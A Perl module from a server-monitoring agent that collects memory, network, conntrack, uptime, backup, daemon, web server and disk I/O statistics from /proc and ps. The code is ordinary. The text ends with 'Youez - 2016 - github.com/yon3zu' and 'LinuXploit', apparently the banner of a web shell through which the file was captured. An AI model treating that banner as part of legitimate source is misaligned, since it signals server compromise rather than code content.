	my %memInfo = %{ getMemInfo() };

	if (%memInfo) {

		my %keyNameMap = (
			MemTotal     => 'total',
			TotalMemUsed => 'used',
			Buffers      => 'buffers',
			Cached       => 'cached',
			MemUsed      => 'realused',
			SwapTotal    => 'total',
			SwapUsed     => 'used',
		);
		my $physicalNode = {
			name       => 'physical',
			attributes => $attrs{noConfig},
			value      => undef,
		};
		my $swapNode = {
			name       => 'swap',
			attributes => $attrs{noConfig},
			value      => undef,
		};

		@{ $physicalNode->{value} } = map { { name => $keyNameMap{$_}, value => $memInfo{$_}, attributes => $attrs{config} } }
			qw(MemTotal TotalMemUsed Buffers Cached MemUsed);
		@{ $swapNode->{value} } = map { { name => $keyNameMap{$_}, value => $memInfo{$_}, attributes => $attrs{config} } }
			qw(SwapTotal SwapUsed);

		push(@{ $xml->{value} }, $physicalNode, $swapNode);
	}

	return $xml;
}

sub network {
	my $self = shift;

	my $content = do {
		local $/ = undef;
		open(my $input, "< /proc/net/dev");
		<$input>;
	};

	my $xml = {
		name       => 'network',
		attributes => {
			providedby => 'network',
			datatype   => 'None',
		},
		value => [],
	};

	if ($content) {
		while ($content =~ /\s*(.*?):\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)\s*([0-9]*)/g) {

			# $interface needs to be uppercased because the data parsing doesn't uppercase ihavebadchars nodes
			my $interface = uc($1);

			my $parent = {
				name       => 'ihavebadchars',
				attributes => {
					realname   => $interface,
					datatype   => 'None',
					providedby => 'network',
				},
				value => [],
			};

			my $receive = {
				name       => 'receive',
				attributes => {
					providedby => 'network',
					datatype   => 'None',
				},
				value => [],
			};

			push(@{ $receive->{value} }, {
					name       => 'bytes',
					attributes => { providedby => 'network', datatype => 'Numeric', exponent => '0', Incrementing => 'Y', unit => 'Bytes' },
					value      => $2,
			});

			push(@{ $receive->{value} }, {
					name       => 'packets',
					attributes => { providedby => 'network', datatype => 'Numeric', exponent => '0', Incrementing => 'Y', unit => 'Packets' },
					value      => $3,
			});

			push(@{ $receive->{value} }, {
					name       => 'errs',
					attributes => { providedby => 'network', datatype => 'Numeric', exponent => '0', Incrementing => 'Y', unit => '' },
					value      => $4,
			});
			push(@{ $parent->{value} }, $receive);

			my $transmit = {
				name       => 'transmit',
				attributes => {
					providedby => 'network',
					datatype   => 'None',
				},
				value => [],
			};

			push(@{ $transmit->{value} }, {
					name       => 'bytes',
					attributes => { providedby => 'network', datatype => 'Numeric', exponent => '0', Incrementing => 'Y', unit => 'Bytes' },
					value      => $10,
			});

			push(@{ $transmit->{value} }, {
					name       => 'packets',
					attributes => { providedby => 'network', datatype => 'Numeric', exponent => '0', Incrementing => 'Y', unit => 'Packets' },
					value      => $11,
			});

			push(@{ $transmit->{value} }, {
					name       => 'errs',
					attributes => { providedby => 'network', datatype => 'Numeric', exponent => '0', Incrementing => 'Y', unit => '' },
					value      => $12,
			});
			push(@{ $parent->{value} }, $transmit);
			push(@{ $xml->{value} },    $parent);
		}
	}

	my @xml;

	my $conntrack = $self->conntrack;
	foreach my $struct ($xml, $conntrack) {
		push(@xml, $struct);
	}
	return @xml;
}

sub conntrack {
	my $self = shift;

	my $provider = 'network';

	my $xml = {
		name       => 'conntrack',
		attributes => {
			providedby => $provider,
			datatype   => 'None',
		},
		value => [],
	};

	my %files;
	foreach my $type (qw/buckets count max/) {
		$files{$type}{$_} = "/proc/sys/net/" . join('/', $_ eq 'old' ? ('ipv4', 'netfilter', 'ip') : ('netfilter', 'nf')) . "_conntrack_$type" for (qw/new old/);
	}

	if ((-r $files{'buckets'}{'new'}) or (-r $files{'buckets'}{'old'})) {
		my $nftype = "unknown";
		if (-r $files{'buckets'}{'new'}) {
			$nftype = "new";
		}
		elsif (-r $files{'buckets'}{'old'}) {
			$nftype = "old";
		}

		if ($nftype ne "unknown") {
			my @list = ("buckets", "count", "max");
			foreach my $key (@list) {
				my $file = "file_" . $key . "_" . $nftype;

				my $content = do {
					local $/;
					open(my $input, "< $files{$key}{$nftype}");
					<$input>;
				};

				if ($content && $content =~ /^(\d+)$/) {
					push(@{ $xml->{value} }, {
							name       => $key,
							attributes => {
								providedby   => $provider,
								datatype     => 'Numeric',
								exponent     => 0,
								Incrementing => 'N',
								unit         => '',
							},
							value => $1,
					});
				}
			}
		}
	}
	return $xml;
}

sub timezone {
	my $self = shift;

	my $provider = 'timezone';
	my $xml      = {
		name       => 'timezone',
		attributes => {
			providedby => $provider,
			datatype   => 'None'
		},
	};

	my $field1 = strftime "%z", localtime;
	my $field2 = strftime "%Z", localtime;

	my $datetime = ($field1 =~ /^[+-]?[0-9]{3,4}$/) ? { offset => $field1, abbreviation => $field2 } :
		($field2 =~ /^[+-]?[0-9]{3,4}$/) ? { offset => $field2, abbreviation => $field1 } : {};

	my @values;
	foreach my $field (sort keys %$datetime) {
		push(@values, {
				name       => $field,
				attributes => {
					providedby => $provider,
					datatype   => "Text",
				},
				value => $datetime->{$field},
		});
	}
	$xml->{value} = \@values;

	return $xml;
}

sub uptime {
	my $self = shift;

	my $content = do {
		local $/ = undef;
		open my $file, '<', '/proc/uptime';
		<$file>;
	};

	my $xml;
	if ($content && $content =~ /([0-9]*.[0-9]{0,2})\s*([0-9]*.[0-9]{0,2})/) {

		my $Field1 = $1;
		my $Field2 = $2;

		$xml = {
			name       => 'uptime',
			attributes => {
				providedby => 'uptime',
				datatype   => 'None',
			},
			value => [ {
					name       => 'seconds',
					attributes => {
						providedby => 'uptime',
						datatype   => 'Text',
					},
					value => $1,
				} ],
		};

		my $hms = {};
		if ($Field1 >= (24 * 60 * 60)) {
			my $Days = floor(int($Field1) / int(24 * 60 * 60));
			$Field1 = floor(int($Field1) % int(24 * 60 * 60));
			$hms->{days} = $Days . "D";
		}

		if ($Field1 > (60 * 60)) {
			my $Hours = floor(int($Field1) / int(60 * 60));
			$Field1 = floor(int($Field1) % int(60 * 60));
			$hms->{hours} = $Hours . "H";
		}
		if ($Field1 > 60) {
			my $Minutes = floor(int($Field1) / int(60));
			$Field1 = floor(int($Field1) % int(60));
			$hms->{minutes} = $Minutes . "M";
		}
		$hms->{seconds} = $Field1 . "S";
		push(@{ $xml->{value} }, {
				name       => 'human',
				attributes => {
					providedby => 'uptime',
					datatype   => 'Text',
				},
				value => "$hms->{days} $hms->{hours} $hms->{minutes} $hms->{seconds}",
		});
	}
	return $xml;
}

sub vzbackup {
	my $self     = shift;
	my $provider = 'vzbackup';
	my %attrs    = (
		config => {
			providedby => $provider,
			datatype   => "Text",
		},
		noConfig => {
			providedby => $provider,
			datatype   => "None",
		},
	);
	my $xml = {
		name       => 'vzbackup2',
		attributes => $attrs{noConfig},
		value      => [],
	};

	my %backuphash;
	my $file = "/usr/local/lp/etc/vps-backup-manifest";

	if (-e $file and -r $file) {
		if (open(MANIFESTINPUT, "< $file")) {
			while (<MANIFESTINPUT>) {
				if ($_ =~ /^(\S+),(\S+)$/) {

					my $Field1 = $1;
					my $Field2 = $2;

					my $file = "/usr/local/lp/logs/vpsbackup/backup-status-$Field1";
					if (-e $file and -r $file) {
						if (open(STATUSINPUT, "< $file")) {
							my $backupNode = {
								name       => 'ihavebadchars',
								attributes => { %{ $attrs{noConfig} }, realname => $Field2 },
								value      => []
							};
							push(@{ $backupNode->{value} }, { name => 'server', value => $1, attributes => $attrs{config} });
							%backuphash = undef;

							while (<STATUSINPUT>) {
								if ($_ =~ /^BACKUP(\d)(START|FINISH|STATUS)=(\S+)$/) {
									$backuphash{"$1"}{"$2"} = "$3";
								}
							}
							close(STATUSINPUT);

							for (my $x = 0; $x < 7; $x++) {
								my $backup = {
									name       => "backup$x",
									attributes => $attrs{noConfig},
									value      => [
										map { {
												name       => $_,
												value      => $backuphash{$x}{$_},
												attributes => $attrs{config}
											} } sort keys %{ $backuphash{$x} } ],
								};
								push(@{ $backupNode->{value} }, $backup);
							}
							push(@{ $xml->{value} }, $backupNode);
						}
					}
				}
			}
			close(MANIFESTINPUT);
		}
	}
	return $xml;
}

=head1   Daemon state providers

These functions form a psuedo-group of providers
which report on the state of a select set of running
services.  These methods return data wrapped in a
daemon state node, for ease of display.

=cut

sub pagentStatus {
	my ($self)        = @_;
	my $provider      = 'pagentStatus';
	my $pagentPidFile = '/usr/local/lp/var/p-agent.pid';

	my @subNodes;
	my $xml = {
		name       => 'pagentStatus',
		attributes => {
			providedby => $provider,
			datatype   => 'None'
		},
		value => \@subNodes,
	};

	if ((-e $pagentPidFile) and (-r $pagentPidFile)) {
		open(my $file, '<', $pagentPidFile);
		my ($pid) = <$file>;
		close($file);
		chomp($pid);

		if ($pid =~ /^(\d+)$/) {
			$pid = $1;
		}
		else {
			return;
		}

		push(@subNodes, $self->memInfoForPID($pid, $provider, 'pagent'));
		push(@subNodes, $self->runtimeForPID($pid, $provider, 'pagent'));
	}
	else {
		return;
	}

	return $self->daemonStateWrapper($provider, $xml);
}

sub eximstatus {
	my ($self)   = @_;
	my $provider = 'eximstatus';
	my %attrs    = (
		emails => {
			unit         => "Email",
			exponent     => "1",
			incrementing => "N",
			providedby   => $provider,
			datatype     => "Numeric",
		},
		noConfig => {
			providedby => $provider,
			datatype   => "None",
		},
	);
	my @subNodes;
	my $topXML = {
		name       => $provider,
		attributes => $attrs{noConfig},
		value      => \@subNodes,
	};

	unless (-e '/usr/local/lp/var/sonarpush/eximdata.json') {
		return;
	}

	open(my $file, '<', '/usr/local/lp/var/sonarpush/eximdata.json') or die $!;
	my $json = <$file>;
	close($file);

	# prevent "Missing or empty input" error from from_json when file
	# exists but is empty.
	return unless ($json);

	my $data = from_json($json);

	my %fields = (
		queue_length => 'emails'
	);

	for my $field (keys %fields) {
		if (exists $data->{$field}) {
			push(@subNodes, {
				name       => $field,
				value      => $data->{$field},
				attributes => $attrs{$fields{$field}},
			});
		}
	}

	return $self->daemonStateWrapper($provider, $topXML);
}

sub sonarpushStatus {
	my ($self)   = @_;
	my $provider = 'sonarpushStatus';
	my $xml      = {
		name       => 'sonarpushStatus',
		attributes => {
			providedby => $provider,
			datatype   => 'None'
		},
	};
	my @subNodes;

	my $memNode = $self->memInfoForPID($$, $provider, 'sonarpush');
	my $uptimeNode = $self->runtimeForPID($$, $provider, 'sonarpush');

	push(@subNodes, $memNode, $uptimeNode);

	push(@{ $uptimeNode->{value} },
		{
			name       => 'started',
			attributes => {
				providedby => $provider,
				datatype   => "Text",
			},
			value => $self->sonar->{Started},
		});
	my $updateAttrs = {
		providedby   => $provider,
		datatype     => "Numeric",
		unit         => "",
		exponent     => "0",
		incrementing => "Y"
	};
	for my $nameSpace (sort keys %{ $self->sonar->{status} }) {
		my $values = $self->sonar->{status}{$nameSpace};
		push(@subNodes, {
				name       => "sonarpush$nameSpace",
				attributes => $xml->{attributes},
				value      => [
					map { { name => $_, attributes => $updateAttrs, value => $values->{$_} } } sort keys %{$values}
				],
			}
		);
	}

	$xml->{value} = \@subNodes;
	return $self->daemonStateWrapper($provider, $xml);
}

my %WEBSERVERNAMES = (
	apache => [qw(httpd apache2 apache)],
	nginx  => [qw(nginx)],
	lightspeed => [qw(lshttpd)],
	lighttpd   => [qw(lighttpd)],
);

sub webserverStatus {
	my ($self) = @_;
	my $provider = 'webserverStatus';

	my $serverType;
	my $serverPid;
	my @topLevelProcs = `ps -o comm,pid --ppid 1`;
	splice(@topLevelProcs, 0, 1);
	my %daemons = map { /^(\S+)\s+(\d+)$/g } map { s/^\s+|\s+$//r } @topLevelProcs;
TYPE:	for my $type (sort keys %WEBSERVERNAMES) {
		my @serverNames = @{$WEBSERVERNAMES{$type}};
		for my $serverName (@serverNames) {
			if (my $pid = $daemons{$serverName}) {
				$serverType = $type;
				$serverPid  = $pid;
				last TYPE;
			}
		}
	}
	return unless $serverPid;

	my @httpProcs = `ps -o pid,pcpu,pmem,rss,etime,comm --ppid $serverPid $serverPid`;
	splice(@httpProcs, 0, 1);

	return unless @httpProcs;

	my @fieldNames = qw(pid percentCPU percentMEM totalMEM runtime command);
	my $procLeader;
	my @breakdown;
	for my $proc (@httpProcs) {
		$proc =~ s/^\s+|\s+$//;
		my @fields = split(/\s+/, $proc);
		my %namedFields;
		@namedFields{@fieldNames} = @fields;

		my ($days, $hours, $minutes, $seconds) = (delete $namedFields{runtime}) =~ /(?:(?:(\d+)-)?(\d+):)?(\d+):(\d+)/;
		$days  ||= '00';
		$hours ||= '00';
		my $totalSeconds = (($days * 24 + $hours) * 60 + $minutes) * 60 + $seconds;
		$namedFields{runtime}     = $totalSeconds;
		$namedFields{humanUptime} = "${days}D ${hours}H ${minutes}M ${seconds}S";

		if ($namedFields{pid} eq $serverPid) {
			$procLeader = \%namedFields;
		}
		else {
			push(@breakdown, \%namedFields);
			delete $namedFields{humanUptime};
		}
		delete $namedFields{command};
		delete $namedFields{pid};
	}
	return unless $procLeader;

	my %aggregate = map { $_ => 0 } qw(percentCPU percentMEM totalMEM runtime);
	for my $proc (@breakdown) {
		map { $aggregate{$_} += $proc->{$_} } sort keys %{$proc};
	}

	$aggregate{uptime}      = $procLeader->{runtime};
	$aggregate{avgRuntime}  = (delete $aggregate{runtime}) / (scalar(@breakdown) || 1);
	$aggregate{avgMEM}      = (delete($aggregate{totalMEM}) + $procLeader->{totalMEM}) / (scalar(@breakdown) + 1);
	$aggregate{humanUptime} = $procLeader->{humanUptime};

	$aggregate{numServers} = scalar(@breakdown);
	$aggregate{serverType} = $serverType;

	my %attrs = (
		serverType  => { datatype => "Text" },
		humanUptime => { datatype => "Text" },
		avgMEM      => {
			datatype     => "Numeric",
			unit         => "Bytes",
			exponent     => "3",
			incrementing => "N"
		},
		numServers => {
			datatype     => "Numeric",
			unit         => "",
			exponent     => "1",
			incrementing => "N"
		},
		uptime => {
			datatype     => "Numeric",
			unit         => "Seconds",
			incrementing => "N",
			exponent     => "1",
		},
		percentMEM => {
			datatype     => "Numeric",
			unit         => "Percent",
			exponent     => "1",
			incrementing => "N"
		},
		avgRuntime => {
			datatype     => "Numeric",
			unit         => "Seconds",
			incrementing => "N",
			exponent     => "1",
		},
		percentCPU => {
			datatype     => "Numeric",
			unit         => "Percent",
			exponent     => "1",
			incrementing => "N"
		},
	);
	$_->{providedby} = $provider for values %attrs;
	my $xml = {
		name       => $provider,
		attributes => {
			providedby => $provider,
			datatype   => 'None',
		},
		value => [ map { { name => $_, value => $aggregate{$_}, attributes => $attrs{$_} } } sort keys %aggregate ],
	};
	return $self->daemonStateWrapper($provider, $xml);
}

sub iostatData {
	my ($self)   = @_;
	my $provider = 'iostatData';
	my %attrs    = (
		cpuTime => {
			unit         => "Seconds",
			exponent     => "1",
			incrementing => "Y",
			providedby   => $provider,
			datatype     => "Numeric",
		},
		percent => {
			unit         => "Percent",
			exponent     => "1",
			incrementing => "N",
			providedby   => $provider,
			datatype     => "Numeric",
		},
		sectors => {
			unit         => "Sectors",
			exponent     => "1",
			incrementing => "Y",
			providedby   => $provider,
			datatype     => "Numeric",
		},
		time => {
			unit         => "Seconds",
			exponent     => "1",
			incrementing => "Y",
			providedby   => $provider,
			datatype     => "Numeric",
		},
		reads => {
			unit         => "Reads",
			exponent     => "1",
			incrementing => "Y",
			providedby   => $provider,
			datatype     => "Numeric",
		},
		writes => {
			unit         => "Writes",
			exponent     => "1",
			incrementing => "Y",
			providedby   => $provider,
			datatype     => "Numeric",
		},
		ops => {
			unit         => "Ops",
			exponent     => "1",
			incrementing => "N",
			providedby   => $provider,
			datatype     => "Numeric",
		},
		noConfig => {
			providedby => $provider,
			datatype   => "None",
		},
	);
	my %devicePropertyAttrs = (
		sectors_read     => $attrs{sectors},
		sectors_written  => $attrs{sectors},
		time_reading     => $attrs{time},
		time_writing     => $attrs{time},
		io_time          => $attrs{time},
		io_time_weighted => $attrs{time},
		reads_completed  => $attrs{reads},
		reads_merged     => $attrs{reads},
		writes_completed => $attrs{writes},
		writes_merged    => $attrs{writes},
		curr_io_ops      => $attrs{ops},
	);
	my @subNodes;
	my $topXML = {
		name       => $provider,
		attributes => $attrs{noConfig},
		value      => \@subNodes,
	};


	# We're going to be doing some number crunching
	# on this data that involves how it changes over a defined interval,
	# as opposed to "from boot", which is what the files actually track.
	# We can find the time interval more precisely using the data in the files,
	# but we need to give it some time to change, hence the sleep.
	my $stat1        = readProcStat();
	my $diskStatsPre = readProcDiskStat();
	sleep(1);
	my $stat2     = readProcStat();
	my $diskStats = readProcDiskStat();

	my $timeDiff;

	my @cpuNodes;
	my $cpuXML = {
		name       => 'CpuIostats',
		attributes => $attrs{noConfig},
		value      => \@cpuNodes,
	};
	push(@subNodes, $cpuXML);

	for my $cpuLabel (sort keys %$stat2) {
		# Omit Individual Proc stats
		next unless $cpuLabel eq 'cpu-total';

		my @cpuProperties;
		my $cpuStatXML = {
			name       => $cpuLabel,
			attributes => $attrs{noConfig},
			value      => \@cpuProperties,
		};
		push(@cpuNodes, $cpuStatXML);
		my %statDeltas;
		my $elapsed1 = 0;
		my $elapsed2 = 0;
		for my $propertyName (sort keys %{$stat2->{$cpuLabel}}) {
			$elapsed1 += $stat1->{$cpuLabel}{$propertyName};
			$elapsed2 += $stat2->{$cpuLabel}{$propertyName};
			$statDeltas{$propertyName} = $stat2->{$cpuLabel}{$propertyName} - $stat1->{$cpuLabel}{$propertyName};
			push(@cpuProperties, {
				name       => $propertyName,
				value      => sprintf('%0.09f', ($statDeltas{$propertyName})/100),
				attributes => $attrs{cpuTime},
			});
		}
		$timeDiff = $elapsed2 - $elapsed1;
		for my $property (sort keys %statDeltas) {
			push(@cpuProperties, {
				name       => "${property}_percentage",
				value      => sprintf('%0.09f', 100* ($statDeltas{$property} / $timeDiff)),
				attributes => $attrs{percent},
			});
		}
	}

	my @diskNodes;
	my $diskXML = {
		name       => 'DiskIostats',
		attributes => $attrs{noConfig},
		value      => \@diskNodes,
	};
	push(@subNodes, $diskXML);

	my $deviceMap = parseProcDevice();
	my $diskTypes = extractDiskType();
	my %devicesByType;

	for my $diskLabel (sort grep { !/^loop\d*$/ } keys %$diskStats) {
		my $diskProperties = $diskStats->{$diskLabel};
		my $deviceType = $deviceMap->{$diskProperties->{major}};
		my $diskType = $diskTypes->{$diskLabel} || 'other';

		delete @{ $diskProperties }{qw(major minor)};

		my $anyActivity = 0;
		$anyActivity += $_ for values %$diskProperties;
		next unless $anyActivity;

		next unless $deviceType;
		next if $deviceType eq 'device-mapper';
		next if $diskType eq 'iscsi';

		my @deviceProperties;
		my $deviceXML = {
			name       => $diskLabel,
			attributes => $attrs{noConfig},
			value      => \@deviceProperties,
		};
		push(@{$devicesByType{$diskType}}, $deviceXML);

		for my $propertyName (sort keys %{ $diskProperties }) {
			push(@deviceProperties, {
				name       => $propertyName,
				value      => sprintf('%0.09f', $diskProperties->{$propertyName} / ($devicePropertyAttrs{$propertyName}{unit} eq 'Seconds'? 1000 : 1)),
				attributes => $devicePropertyAttrs{$propertyName},
			});
		}
		for my $propertyName (qw(reads_completed writes_completed reads_merged writes_merged sectors_read sectors_written)) {
			my $value = $diskProperties->{$propertyName} - $diskStatsPre->{$diskLabel}{$propertyName};
			push(@deviceProperties, {
				name       => "${propertyName}_per_second",
				value      => $value,
				attributes => {
					unit         => "OpsPerSecond",
					exponent     => "1",
					incrementing => "N",
					providedby   => $provider,
					datatype     => "Numeric",
				},
			});
		}
		for my $propertyName (qw(io_time time_reading time_writing)) {
			my $value = $diskProperties->{$propertyName} - $diskStatsPre->{$diskLabel}{$propertyName};
			push(@deviceProperties, {
				name       => "${propertyName}_per_second",
				value      => sprintf('%0.09f', $value/1000),
				attributes => $attrs{time},
			});
			push(@deviceProperties, {
				name       => "${propertyName}_percent_busy",
				value      => 10 * ($value / $timeDiff),
				attributes => $attrs{percent},
			});
		}
		my %adjustmentMap = (
			time_reading => 'reads_completed',
			time_writing => 'writes_completed',
		);
		my $iotimeDiff = $diskProperties->{io_time} - $diskStatsPre->{$diskLabel}{io_time};
		for my $propertyName (qw(time_reading time_writing)) {
			my $totalValue            = $diskProperties->{$propertyName} - $diskStatsPre->{$diskLabel}{$propertyName};
			my $adjustmentFactor      = $adjustmentMap{$propertyName};
			my $adjustmentFactorDelta = $diskProperties->{$adjustmentFactor} - $diskStatsPre->{$diskLabel}{$adjustmentFactor};
			my $value                 = $totalValue / ($adjustmentFactorDelta || 1);
			push(@deviceProperties, {
				name       => "${propertyName}_adj_per_second",
				value      => sprintf('%0.09f', $value/1000),
				attributes => $attrs{time},
			});
			push(@deviceProperties, {
				name       => "${propertyName}_adj_percent_iotime",
				value      => $iotimeDiff && $value ? 100 * ($value / $iotimeDiff) : 0,
				attributes => $attrs{percent},
			});
			push(@deviceProperties, {
				name       => "${propertyName}_adj_percent_busy",
				value      => 10 * ($value / $timeDiff),
				attributes => $attrs{percent},
			});
		}
	}

	for my $deviceType (sort keys %devicesByType) {
		push(@diskNodes, {
			name       => $deviceType,
			attributes => $attrs{noConfig},
			value      => $devicesByType{$deviceType},
		});
	}

        return $topXML;
}

=head1 Helper functions

=cut

sub extractDiskType {
	my $devPathDir = '/dev/disk/by-path/';
	my %diskType;

	if (-d $devPathDir) {
		opendir(my $pathDir, $devPathDir) or die $!;
		my @files = grep { -l "$devPathDir/$_" } readdir($pathDir);
		for my $diskPath (@files) {
			my @pathParts = split("-", $diskPath);
			my $type = $pathParts[2];
			my $deviceRelativePath = readlink("$devPathDir/$diskPath");
			my ($deviceName) = $deviceRelativePath =~ m{/([\w\d]+?)$}g;
			$diskType{$deviceName} = $type;
		}
	}

	return \%diskType;
};

sub parseProcDevice {
	my $deviceFile = '/proc/devices';
	my %deviceData;
	my %deviceMap;
	if ((-e $deviceFile) && (-r $deviceFile)) {
		open(my $fh, '<', $deviceFile) or die $!;
		my @deviceLines = <$fh>;
		close($fh);
		chomp for @deviceLines;
		for my $device (@deviceLines) {
			my ($majorNum, $type) = $device =~ /^\s*(\d+)\s+(\S+)$/g;
			if ($majorNum) {
				$deviceMap{$majorNum}=$type;
			}
		}
	}
	return \%deviceMap;
}

my @cpuPropertyNames = qw(
	user
	nice
	system
	idle
	iowait
	irq
	softirq
	steal
	guest
	guest_nice
);
sub readProcStat {
	my $cpuStatFile  = '/proc/stat';
	my %cpuStats;
	if ((-e $cpuStatFile) && (-r $cpuStatFile)) {
		open(my $statFile, '<', $cpuStatFile)  or die $!;
		my @statLines = <$statFile>;
		close($statFile);
		chomp for @statLines;
		for my $statLine (@statLines) {
			my @fields = split(/\s+/, $statLine);
			my $name = shift(@fields);
			if ($name =~ /^cpu(\d+)?$/) {
				my $cpuNumber = defined($1) ? $1 : 'total';
				for my $propertyName (@cpuPropertyNames) {
					$cpuStats{"cpu-$cpuNumber"}{$propertyName} = shift(@fields);
				}
			}
		}
	}
	return \%cpuStats;
}

my @devicePropertyNames = qw(
	reads_completed
	reads_merged
	sectors_read
	time_reading
	writes_completed
	writes_merged
	sectors_written
	time_writing
	curr_io_ops
	io_time
	io_time_weighted
);
sub readProcDiskStat {
	my $regex = '(sd|hd|vd|xvd)[a-z]{1,2}\d+$';
	my $diskStatFile = '/proc/diskstats';
	my %diskStats;
	if ((-e $diskStatFile) && (-r $diskStatFile)) {
		open(my $statFile, '<', $diskStatFile)  or die $!;
		my @statLines = <$statFile>;
		close($statFile);
		chomp for @statLines;
		for my $statLine (@statLines) {
			my @fields = split(/\s+/, $statLine);
			shift(@fields);

			my ($major, $minor, $deviceName) = @fields;
			# Skip partitions
			next if lc($deviceName) =~ /$regex/;

			$diskStats{$deviceName}{major} = $major;
			$diskStats{$deviceName}{minor} = $minor;

			# Throw away unneeded fields
			@fields = @fields[ 3 .. 13 ];

			for my $propertyName (@devicePropertyNames) {
				$diskStats{$deviceName}{$propertyName} = shift(@fields);
			}
		}
	}
	return \%diskStats;
}

=head2 memInfoForPID

=over 4

=item Description:

helper function to generate the structure to report on memory information for a given pid
as found in proc/$pid/status

=item Parameters

pid      = the pid you want meminfo for
provider = the name of the provider that this info is being gathered for
name     = the name of the service or program that is being reported on.
           the name of the returned node will be ${name}Memory

=item Returns

an encodeXML compatible datastructure containing memory information for $pid

=back

=cut

sub memInfoForPID {
	my ($self, $pid, $provider, $name) = @_;

	return if is_tainted($pid);

	my $memNode = {
		name       => "${name}Memory",
		attributes => {
			providedby => $provider,
			datatype   => 'None'
		},
		value => []
	};
	my $attrHash = {
		providedby   => $provider,
		datatype     => "Numeric",
		unit         => "Bytes",
		exponent     => "3",
		incrementing => "N"
	};

	my $file = "/proc/$pid/status";

	if ((-e $file) and (-r $file)) {
		open(my $status, "< $file") or print "can't open '$file' for reading!\n";
		my @statusLines = grep {/^Vm\w+:/} <$status>;
		close($status);

		for my $vmLine (@statusLines) {
			my ($field, $value) = $vmLine =~ /^(Vm\w+):\s+(\d+).+$/;
			push(@{ $memNode->{value} }, {
					name       => $field,
					value      => $value,
					attributes => $attrHash,
				}
			);
		}
	}

	return $memNode;
}

sub runtimeForPID {
	my ($self, $pid, $provider, $name) = @_;

	return if is_tainted($pid);

	my $runNode = {
		name       => "${name}Uptime",
		attributes => {
			providedby => $provider,
			datatype   => 'None'
		},
		value => []
	};

	my $uptime = (`ps -o etime $pid`)[1];
	$uptime =~ s/\s//g;
	my ($days, $hours, $minutes, $seconds) = $uptime =~ /(?:(?:(\d+)-)?(\d+):)?(\d+):(\d+)/;
	$days  ||= '00';
	$hours ||= '00';
	my $totalSeconds  = (($days * 24 + $hours) * 60 + $minutes) * 60 + $seconds;
	my $humanReadable = "${days}D ${hours}H ${minutes}M ${seconds}S";

	push(@{ $runNode->{value} },
		{
			name       => 'seconds',
			attributes => {
				providedby   => $provider,
				datatype     => "Numeric",
				unit         => "Seconds",
				incrementing => "N",
				exponent     => "0",
			},
			value => $totalSeconds,
		},
		{
			name       => 'humanReadable',
			attributes => {
				providedby => $provider,
				datatype   => "Text"
			},
			value => "${days}D ${hours}H ${minutes}M ${seconds}S",
		});
	return $runNode;
}

=head2 getMemInfo

=over 4

=item Description:

helper function to gather general system memory usage,
as defined in /proc/meminfo

=item Parameters

none

=item Returns

a hashref containing the information in /proc/meminfo

=back

=cut

sub getMemInfo {
	my $file = "/proc/meminfo";
	if ((-e $file) and (-r $file)) {
		my %memHash = ();
		open(my $memInfo, "< $file") or print "can't open '$file' for reading!\n";
		my @memInfoLines = <$memInfo>;
		close($memInfo);

		for my $memFact (@memInfoLines) {
			my ($field, $value) = $memFact =~ /^(\S+):\s+(\d+).+$/;
			next unless defined $field && defined $value;
			$memHash{$field} = $value;
		}

		unless (grep { !defined $memHash{$_} } qw(MemTotal MemFree Cached Buffers)) {
			$memHash{MemUsed} = $memHash{MemTotal} - ($memHash{MemFree} + $memHash{Cached} + $memHash{Buffers});
		}

		unless (grep { !defined $memHash{$_} } qw(MemTotal MemFree)) {
			$memHash{TotalMemUsed} = $memHash{MemTotal} - $memHash{MemFree};
		}

		unless (grep { !defined $memHash{$_} } qw(SwapFree SwapTotal)) {
			$memHash{SwapUsed} = $memHash{SwapTotal} - $memHash{SwapFree};
		}

		return \%memHash;
	}
	return;
}

=head2 daemonStateWrapper

=over 4

=item Description:

helper function to generate an xml wrapper for ensuring that
software state providers are correctly grouped together in
the tree that radar uses to display information

=item Parameters

provider = the name of the provider that the wrapped info is being gathered for
nodeData = an encodeXML compatible structure to be wrapped in a 'daemonState' node.

=item Returns

a string of xml date, which is the encoding of nodeDate wrapped for daemonState

=back

=cut

sub daemonStateWrapper {
	my ($self, $provider, $nodeData) = @_;

	my $xml = {
		name       => 'daemonState',
		attributes => { providedby => $provider, datatype => 'None' },
		value      => $nodeData,
	};
	return $xml;
}

=head2 cpanelDataWrapper

=over 4

=item Description:

helper function to generate an xml wrapper for ensuring that
cpanel data providers are correctly grouped together in
the tree that radar uses to display information

=item Parameters

provider = the name of the provider that the wrapped info is being gathered for
nodeData = an encodeXML compatible structure to be wrapped in a 'cpanelData' node.

=item Returns

a string of xml data, which is the encoding of nodeDate wrapped for cpanelData

=back

=cut

sub cpanelDataWrapper {
	my ($self, $provider, $nodeData) = @_;

	my $xml = {
		name       => 'cpanelData',
		value      => $nodeData,
		attributes => {
			providedby => $provider,
			datatype   => 'None'
		},
	};
	return $xml;
}

sub extractCpanelUserDetails {
	my ($self) = @_;

	unless (-e '/usr/local/lp/var/sonarpush/accountexport') {
		return;
	}

	my @domainUsers = do {
		open(my $file, '<', '/usr/local/lp/var/sonarpush/accountexport');
		<$file>;
	};

	chomp for @domainUsers;

	my %userData;
	for my $domainUserEntry (@domainUsers) {
		my ($domain, $user) = split(':', $domainUserEntry, 2);
		$domain =~ s/(^\s+)|(\s+$)//g;
		$user =~ s/(^\s+)|(\s+$)//g;

		# cPanel adds a catchall entry pointing to
		# user 'nobody' that we needn't track.
		next if $domain eq '*';
		next unless $user;

		push(@{ $userData{$user}{domains} }, $domain);
	}

	return \%userData;
}

sub is_tainted {
	local $@;
	return !eval { eval("#" . substr(join("", @_), 0, 0)); 1 };
}

1;

Youez - 2016 - github.com/yon3zu
LinuXploit